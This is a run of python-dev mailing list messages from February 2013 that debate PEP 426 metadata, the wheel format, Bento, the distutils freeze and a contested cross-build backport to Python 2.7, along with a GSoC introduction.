	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
Message-ID: <8738xdb4fz.fsf@myhost.lan>

Daniel Holth <dholth at gmail.com> writes:

> Wheel makes it possible for Python to get out of the build tool
> business. Just install your preferred tools with a concise bootstrap
> installer.

If this is true, it would also have been possible with eggs, yet it
didn't happen. Why do you think it will happen now or am I missing
something?

From chris.jerdonek at gmail.com  Sun Feb  3 20:40:41 2013
From: chris.jerdonek at gmail.com (Chris Jerdonek)
Date: Sun, 3 Feb 2013 11:40:41 -0800
Subject: [Python-Dev] BDFL delegation for PEP 426 + distutils freeze
In-Reply-To: <510EAD73.7090406@netwok.org>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net> <510EAD73.7090406@netwok.org>
Message-ID: <CAOTb1wfZm8r55yjEyuVyJYz6b769k5ccRJiXnwxfiRPXcOgtAg@mail.gmail.com>

On Sun, Feb 3, 2013 at 10:33 AM, ?ric Araujo <merwok at netwok.org> wrote:
> Le 03/02/2013 07:48, Antoine Pitrou a ?crit :
>> I vote for removing the "distutils is frozen" principle.
> I?ve also been thinking about that.  There have been two exceptions to
> the freeze, for ABI flags in extension module names and for pycache
> directories.  When the stable ABI was added and MvL wanted to change
> distutils (I don?t know to do what exactly), Tarek stood firm on the
> freeze and asked for any improvement to go into distutils2, and after
> MvL said that he would not contibute to an outside project, we merged d2
> into the stdlib.  Namespace packages did not impact distutils either.
> Now that we?ve removed packaging from the stdlib, we have two Python
> features that are not supported in the standard packaging system, and I
> agree that it is a bad thing for our users.
>
> I?d like to propose a reformulation of the freeze:

This could be common knowledge, but is the current formulation of the
freeze spelled out somewhere?

--Chris

From dholth at gmail.com  Sun Feb  3 20:42:39 2013
From: dholth at gmail.com (Daniel Holth)
Date: Sun, 3 Feb 2013 14:42:39 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <8738xdb4fz.fsf@myhost.lan>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
Message-ID: <CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>

Bento is the only available packaging tool to heap praise onto and it is
impressive. I am reacting to all the hate heaped on setup tools when I
think the underlying DistUtils design is a big part of the problem. My
feeling is that stdlib packaging tools should be for bootstrapping and
reference, more like wsgiref than django.

Wheel is very similar to egg but tries to solve the original setup tools
sin of installing something you don't want (the entire setuptools build
system) by omitting the runtime component. The result is a very reviewable
couple hundred lines bootstrap installer or "unzip" in a pinch. Its also
built upon Python standards that were not available when easy_install was
introduced.
On Feb 3, 2013 2:09 PM, "Ralf Schmitt" <ralf at systemexit.de> wrote:

> Daniel Holth <dholth at gmail.com> writes:
>
> > Wheel makes it possible for Python to get out of the build tool
> > business. Just install your preferred tools with a concise bootstrap
> > installer.
>
> If this is true, it would also have been possible with eggs, yet it
> didn't happen. Why do you think it will happen now or am I missing
> something?
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/dholth%40gmail.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/df1335ed/attachment.html>

From hodgestar+pythondev at gmail.com  Sun Feb  3 21:00:29 2013
From: hodgestar+pythondev at gmail.com (Simon Cross)
Date: Sun, 3 Feb 2013 22:00:29 +0200
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
Message-ID: <CAD5NRCEsW601BmM6hz+VUk3FexqcJ68EyxONW7d7aUbQH+0HFg@mail.gmail.com>

On Sun, Feb 3, 2013 at 9:42 PM, Daniel Holth <dholth at gmail.com> wrote:
> Bento is the only available packaging tool to heap praise onto and it is
> impressive.

If Bento is cool, is there some way we can help it gain more traction
in the Python ecosystem? Not necessarily by incorporating it into
stdlib, but perhaps by officially sanctioning it in other ways
(documentation, PyPI, perhaps getting some helpful hooks / tweaks to
Python itself)?

I don't know the answer to these questions, but if there is a good
solution out there, it would be cool to throw our community weight
behind it.

Schiavo
Simon

From brian at python.org  Sun Feb  3 21:07:21 2013
From: brian at python.org (Brian Curtin)
Date: Sun, 3 Feb 2013 14:07:21 -0600
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CAD5NRCEsW601BmM6hz+VUk3FexqcJ68EyxONW7d7aUbQH+0HFg@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
	<CAD5NRCEsW601BmM6hz+VUk3FexqcJ68EyxONW7d7aUbQH+0HFg@mail.gmail.com>
Message-ID: <CAD+XWwp-vkObm20wFxK7t9F9qUvcFzyEVa8KMFk-FoEXT7gbLw@mail.gmail.com>

On Sun, Feb 3, 2013 at 2:00 PM, Simon Cross
<hodgestar+pythondev at gmail.com> wrote:
> On Sun, Feb 3, 2013 at 9:42 PM, Daniel Holth <dholth at gmail.com> wrote:
>> Bento is the only available packaging tool to heap praise onto and it is
>> impressive.
>
> If Bento is cool, is there some way we can help it gain more traction
> in the Python ecosystem? Not necessarily by incorporating it into
> stdlib, but perhaps by officially sanctioning it in other ways
> (documentation, PyPI, perhaps getting some helpful hooks / tweaks to
> Python itself)?
>
> I don't know the answer to these questions, but if there is a good
> solution out there, it would be cool to throw our community weight
> behind it.

I don't think we, as in python-dev, should do this. If people want to
start telling others to use bento on their own, that's fine. For the
core team to get behind it would probably require a lot of work to
safely stamp it as "the new way...that we don't actually have anything
to do with"

If python-dev officially says "hey, use bento", then it has all sorts
of problems and ends up dying in 6 months, we will look like idiots.

From qwcode at gmail.com  Sun Feb  3 21:16:18 2013
From: qwcode at gmail.com (Marcus Smith)
Date: Sun, 3 Feb 2013 12:16:18 -0800
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
Message-ID: <CAPYWazpjzXncBxg2gYY1PRcvL64RZjx-0K=HSnsMaaFyyZ-2FQ@mail.gmail.com>

> The pip integration is basically to allow pip to find wheels on PyPI
> or any local indexes you have, and to install them via the "pip
> install" command.


it also offers "pip wheel" for building wheels (using bdist_wheel) locally
for your requirements, since wheels wouldn't be pervasive on PyPI for a
while

so, let's say you have a large app that has a requirements file, that
ultimately installs  90 packages.

run:  pip wheel --wheel-dir=/my_wheels -r requirements.txt

this will produce 90 wheel archives in a local directory, that you can then
install against.

Marcus
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/58e7dc72/attachment.html>

From pje at telecommunity.com  Sun Feb  3 21:04:04 2013
From: pje at telecommunity.com (PJ Eby)
Date: Sun, 3 Feb 2013 15:04:04 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <CADiSq7c5oDRRYG3VnPOmO1bLtWjsAS7GDHK0OD_AaTHk4Q1R_A@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CADiSq7c5oDRRYG3VnPOmO1bLtWjsAS7GDHK0OD_AaTHk4Q1R_A@mail.gmail.com>
Message-ID: <CALeMXf6m4S3x==sGKKkwx=3BunTuRYuO1t06_1spTO5XEWzsDg@mail.gmail.com>

On Sun, Feb 3, 2013 at 8:08 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> The rationale for the distutils freeze is "don't break setuptools".
> That rationale still holds.

IIRC, the historical issue that triggered the freeze was not that the
distutils refactoring broke setuptools, but that it did so in what was
supposed to be a bugfix-only release of Python, via a change to what
appeared to be a public/documented method.

This rationale doesn't apply to major/minor releases of Python, and
the freeze was only supposed to apply to 2.x in any event.  (IIRC,
some of the breakage was the result of backporting 3.x distutils
changes to 2.x.)

Anyway, adding features or refactoring distutils is not the problem:
doing it in bugfix releases is.  With normal releases, third-party
extenders of distutils at least have the opportunity to test and issue
updates in a timely fashion.

From mjainit at gmail.com  Sun Feb  3 21:51:41 2013
From: mjainit at gmail.com (Jainit Purohit)
Date: Mon, 4 Feb 2013 02:21:41 +0530
Subject: [Python-Dev] Interested in GSoC 2013
Message-ID: <CAPK8b80yYpD9pPcO0vFRB8JkM9e3WT8ZrHJhVQxQcX77TyG2sQ@mail.gmail.com>

Hi,


                     I'm Jainit and I'm planning to apply for GSoC 2013 for
the PSF. I was also part of GSoC 2012 in interface ecology lab, Texas
A&M university. I just gone though Python developer's guide and how to
become core contributor document. And I just compiled CPython on my
machine. Since I'm new to this community, Can anyone assign me some
task/issues/bug to work on to get the better idea of how things works. I
would also like to know if any of you have any ideas which can be
implemented this summer.


Thanks!,

Jainit
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130204/1e5f6a5a/attachment.html>

From dholth at gmail.com  Sun Feb  3 22:14:17 2013
From: dholth at gmail.com (Daniel Holth)
Date: Sun, 3 Feb 2013 16:14:17 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 + distutils freeze
In-Reply-To: <CAOTb1wfZm8r55yjEyuVyJYz6b769k5ccRJiXnwxfiRPXcOgtAg@mail.gmail.com>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net> <510EAD73.7090406@netwok.org>
	<CAOTb1wfZm8r55yjEyuVyJYz6b769k5ccRJiXnwxfiRPXcOgtAg@mail.gmail.com>
Message-ID: <CAG8k2+5ik6eE45gL62w+qfwYvfob6UoGiNh18nq6=DxvL4LGwQ@mail.gmail.com>

I did think that updating distutils to have basic support for the packaging
PEPs was a decent idea, but then it wound up being more or less rewritten
entirely like I've been cajoled into doing with PEP 426 (Metadata). I don't
know whether distutils(1) can survive the minimum changes required for
wheel (.dist-info folders and a bdist_wheel command) without breaking a
significant number of its clients or not. History suggests no. It may still
be worth a shot.

bdist_wheel started out as a distutils2 plugin but it was inconvenient to
develop it inside the CPython repository and it was not practical to
convert projects over from setuptools to distutils2.

The pypi metadata has had a standardlib generator for a long time without
having anything in the standard library to make use of the metadata. Wheels
are just .zip files of one package's share of the site-packages directory.
Why not support them asymmetrically. I value the PEP and consensus for the
format more than the implementation.

One idea that's sure to be controversial would be to include a bootstrap
installer as a script without committing to a Python API (just a
command-line API). Since Python 2.6, wheel's own wheel archive can be used
to install wheels:

$ python wheel-0.14.0-py2.py3-none-any.whl/wheel -h
usage: wheel [-h] {keygen,sign,verify,unpack,install,convert,help} ...



On Sun, Feb 3, 2013 at 2:40 PM, Chris Jerdonek <chris.jerdonek at gmail.com>wrote:

> On Sun, Feb 3, 2013 at 10:33 AM, ?ric Araujo <merwok at netwok.org> wrote:
> > Le 03/02/2013 07:48, Antoine Pitrou a ?crit :
> >> I vote for removing the "distutils is frozen" principle.
> > I?ve also been thinking about that.  There have been two exceptions to
> > the freeze, for ABI flags in extension module names and for pycache
> > directories.  When the stable ABI was added and MvL wanted to change
> > distutils (I don?t know to do what exactly), Tarek stood firm on the
> > freeze and asked for any improvement to go into distutils2, and after
> > MvL said that he would not contibute to an outside project, we merged d2
> > into the stdlib.  Namespace packages did not impact distutils either.
> > Now that we?ve removed packaging from the stdlib, we have two Python
> > features that are not supported in the standard packaging system, and I
> > agree that it is a bad thing for our users.
> >
> > I?d like to propose a reformulation of the freeze:
>
> This could be common knowledge, but is the current formulation of the
> freeze spelled out somewhere?
>
> --Chris
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/dholth%40gmail.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/3277a014/attachment.html>

From greg at krypto.org  Sun Feb  3 22:20:31 2013
From: greg at krypto.org (Gregory P. Smith)
Date: Sun, 3 Feb 2013 13:20:31 -0800
Subject: [Python-Dev] cpython (2.7): - Issue #17086: Backport the
 patches from the 3.3 branch to cross-build
In-Reply-To: <20130201081425.39120441@pitrou.net>
References: <3YxxXq44T7zQ28@mail.python.org>
	<20130201005001.5f73e15b@pitrou.net>
	<CADiSq7eEzz1N=ehSJtHihneVpJBKJFxFwFPrmsP3Au_4c1_V6w@mail.gmail.com>
	<20130201081425.39120441@pitrou.net>
Message-ID: <CAGE7PNJP_UpV=BDUqhYPUtd8=hrG2ZW-B1CJk6Rer5J1fwQKvw@mail.gmail.com>

On Thu, Jan 31, 2013 at 11:14 PM, Antoine Pitrou <solipsis at pitrou.net>wrote:

> On Fri, 1 Feb 2013 11:00:24 +1000
> Nick Coghlan <ncoghlan at gmail.com> wrote:
> > On Fri, Feb 1, 2013 at 9:50 AM, Antoine Pitrou <solipsis at pitrou.net>
> wrote:
> > > On Thu, 31 Jan 2013 23:52:27 +0100 (CET)
> > > matthias.klose <python-checkins at python.org> wrote:
> > >> http://hg.python.org/cpython/rev/8ee6d96a1019
> > >> changeset:   81859:8ee6d96a1019
> > >> branch:      2.7
> > >> parent:      81855:df9f8feb7444
> > >> user:        doko at python.org
> > >> date:        Thu Jan 31 23:52:03 2013 +0100
> > >> summary:
> > >>   - Issue #17086: Backport the patches from the 3.3 branch to
> cross-build
> > >>   the package.
> > >
> > > You aren't supposed to add new features to bugfix branches. Did you
> > > have a specific reason to do this?
> >
> > One of the reasons for the long maintenance period on 2.7 is to keep
> > it building as the underlying platforms change. With the rise of ARM
> > systems, being able to reliably cross-build Python 2.7 for ARM from an
> > x86_64 system is fairly important.
>
> I would like to see a better argument for this. The rise of ARM systems
> is the rise of ARM systems powerful enough to build Python without
> cross-compiling (which is why we *now* have ARM buildbots).
> The very small ARM systems which need cross-compiling have existed for
> decades.
>

It is quite common for developers to build a single code base on a single
workstation targeting a plethora of platforms all at once. Requiring native
systems with self hosting tool-chains for builds is a non-starter as those
often don't exist. Making Python 2.7's configure+makefiles easier to cross
compile out of the box is a good thing.

Side note: we really need a cross compiling build-bot host + target system
or we'll inevitably break this.


> > That said, as a procedural point for build related new features in
> > 2.7, I agree they should be proposed, with an explicit rationale, on
> > python-dev before proceeding with the commit.
>
> I think this huge changeset should be reverted. It's a complete failure
> in terms of procedure and following the rules. "Just because it can be
> useful" is not a good enough reason to violate our release model
> without even asking.
>

That's up to the 2.7 release manager.  Yes, this could have been done
better by asking first. But IMNSHO I'd prefer to see it stay in.

-gps


>
> Regards
>
> Antoine.
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/greg%40krypto.org
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/fc5dfce7/attachment-0001.html>

From vinay_sajip at yahoo.co.uk  Sun Feb  3 22:52:08 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Sun, 3 Feb 2013 21:52:08 +0000 (UTC)
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
Message-ID: <loom.20130203T224956-34@post.gmane.org>

Paul Moore <p.f.moore <at> gmail.com> writes:

> So it's perfectly possible to use wheels right now, without the pip
> integration. But the pip developers don't want to integrate the wheel
> format just because it exists - they want the assurance that it's an
> accepted format supported by PEPs, hence the interest in getting the 3
> wheel PEPs (of which the metadata PEP is the first) accepted.

Likewise, I will look at the possibility of providing wheel support in distlib,
once it has been accepted as a standard and the open issues (such as signature
scheme) have been resolved.

Regards,

Vinay Sajip




From dholth at gmail.com  Sun Feb  3 23:13:24 2013
From: dholth at gmail.com (Daniel Holth)
Date: Sun, 3 Feb 2013 17:13:24 -0500
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <loom.20130203T224956-34@post.gmane.org>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<loom.20130203T224956-34@post.gmane.org>
Message-ID: <CAG8k2+4Vk--Ci1tNezJnNbFKxSv7q2GaM6xSZZBDNRLOgbm-iA@mail.gmail.com>

They can be signed with pypi detached signatures already. It works now
exactly as for sdist.
The innovation was supposed to be in convenience for the signer, in
allowing keys to be trusted per package and for a list of dependencies and
the expected signing keys to be shared easily. Does anyone have a concise
pure py3 s/mime implementation?
On Feb 3, 2013 4:52 PM, "Vinay Sajip" <vinay_sajip at yahoo.co.uk> wrote:

> Paul Moore <p.f.moore <at> gmail.com> writes:
>
> > So it's perfectly possible to use wheels right now, without the pip
> > integration. But the pip developers don't want to integrate the wheel
> > format just because it exists - they want the assurance that it's an
> > accepted format supported by PEPs, hence the interest in getting the 3
> > wheel PEPs (of which the metadata PEP is the first) accepted.
>
> Likewise, I will look at the possibility of providing wheel support in
> distlib,
> once it has been accepted as a standard and the open issues (such as
> signature
> scheme) have been resolved.
>
> Regards,
>
> Vinay Sajip
>
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/dholth%40gmail.com
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130203/9b4f1937/attachment.html>

From vinay_sajip at yahoo.co.uk  Sun Feb  3 23:16:28 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Sun, 3 Feb 2013 22:16:28 +0000 (UTC)
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
Message-ID: <loom.20130203T225356-618@post.gmane.org>

Daniel Holth <dholth <at> gmail.com> writes:

> Bento is the only available packaging tool to heap praise onto and it is
> impressive. I am reacting to all the hate heaped on setup tools when I think
> the underlying DistUtils design is a big part of the problem. My feeling is
> that stdlib packaging tools should be for bootstrapping and reference, more
> like wsgiref than django.

Bento is interesting, but I wouldn't jump to heap praise onto it. Apart from the
somewhat idiosyncratic source style, David Cournapeau himself points to what he
regards as weaknesses in it[1]. It is no doubt a better build tool than
distutils for NumPy/SciPy users, and that's great. However, from what I could
see, the documentation is not very detailed, making it hard to evaluate, and
much of the build internals seem to be in some other tool called yaku, for which
I couldn't find much documentation.

When I see a sentiment suggesting that "Python should get out of the build tools
business" (paraphrasing what Daniel said, not quoting him), I can certainly see
why the distutils compiler infrastructure would make one think that, if it was
impossible to come up with something better. However, I do feel there is room
for a battery included in this area, as long as it is simple and easier to build
on than distutils has been. Although I have not started to add anything in this
area to distlib, I have spent some time thinking about the problems, and I have
some experimental work in mind.

I don't believe that "hate" is the right word when talking about why setuptools
isn't loved more by python-dev. Since it was extending the flawed distutils
design, it doesn't make sense to have it getting any closer to the stdlib, and
it could perhaps be argued that distutils2/packaging also failed to make
sufficient progress for the same reason.

Certainly, with distlib I've tried to incorporate a lot of the setuptools
functionality which developers find useful - in-package data, package exports
(entry points), wrapping callables with scripts and so on.

Regards,

Vinay Sajip

[1] http://bento.readthedocs.org/en/latest/faq.html#why-shouldn-t-i-use-bento



From hodgestar+pythondev at gmail.com  Sun Feb  3 23:23:40 2013
From: hodgestar+pythondev at gmail.com (Simon Cross)
Date: Mon, 4 Feb 2013 00:23:40 +0200
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
In-Reply-To: <loom.20130203T225356-618@post.gmane.org>
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<8738xdb4fz.fsf@myhost.lan>
	<CAG8k2+57_PV5=b5NJ4LRmKs+AkdKe29KEj3T9YPUCT6aOOVt0w@mail.gmail.com>
	<loom.20130203T225356-618@post.gmane.org>
Message-ID: <CAD5NRCFAaZOodXWd1z_docGes_HZzWtDUC=QAnp3LVULQqSanA@mail.gmail.com>

On Mon, Feb 4, 2013 at 12:16 AM, Vinay Sajip <vinay_sajip at yahoo.co.uk> wrote:
> Bento is interesting, but I wouldn't jump to heap praise onto it. Apart from the
> somewhat idiosyncratic source style, David Cournapeau himself points to what he
> regards as weaknesses in it[1].

For the record, all the reasons listed at [1] appear trivial.

[1] http://bento.readthedocs.org/en/latest/faq.html#why-shouldn-t-i-use-bento

Schiavo
Simon

From vinay_sajip at yahoo.co.uk  Sun Feb  3 23:24:57 2013
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: Sun, 3 Feb 2013 22:24:57 +0000 (UTC)
Subject: [Python-Dev] BDFL delegation for PEP 426 (PyPI metadata 1.3)
References: <CADiSq7fdTWFkbts4yCk0ZT7iT3ULaADdsq+m-gf0UkQuj62=Gw@mail.gmail.com>
	<CAP7+vJKRdq9=MTLBUuc_o-Q0uGUE-1Yp1+HC3aABqKruq9bM1w@mail.gmail.com>
	<CADiSq7ebRQdrr6NUUJ1OGuAAiO-GxP7j5HbbVx3wNtm4qfsw8Q@mail.gmail.com>
	<20130203122754.7745a1be@pitrou.net>
	<CACac1F_MEb7jL91LRH+RJbnYr=TxJCkoqOGGCQttgxJ8w0QqTg@mail.gmail.com>
	<20130203134853.098aadaa@pitrou.net>
	<CAG8k2+7aKSGWz1n6c3HvJeyMVd7b1VupegOf28HwtLcQ7gsDsw@mail.gmail.com>
	<20130203154341.598b063c@pitrou.net>
	<CAG8k2+7rFBL-BVEMY_64xEyX+wkV-aK547ZXH+UYRz9T-9LPAA@mail.gmail.com>
	<510EB551.8050705@netwok.org>
Message-ID: <loom.20130203T232001-6@post.gmane.org>

?ric Araujo <merwok <at> netwok.org> writes:

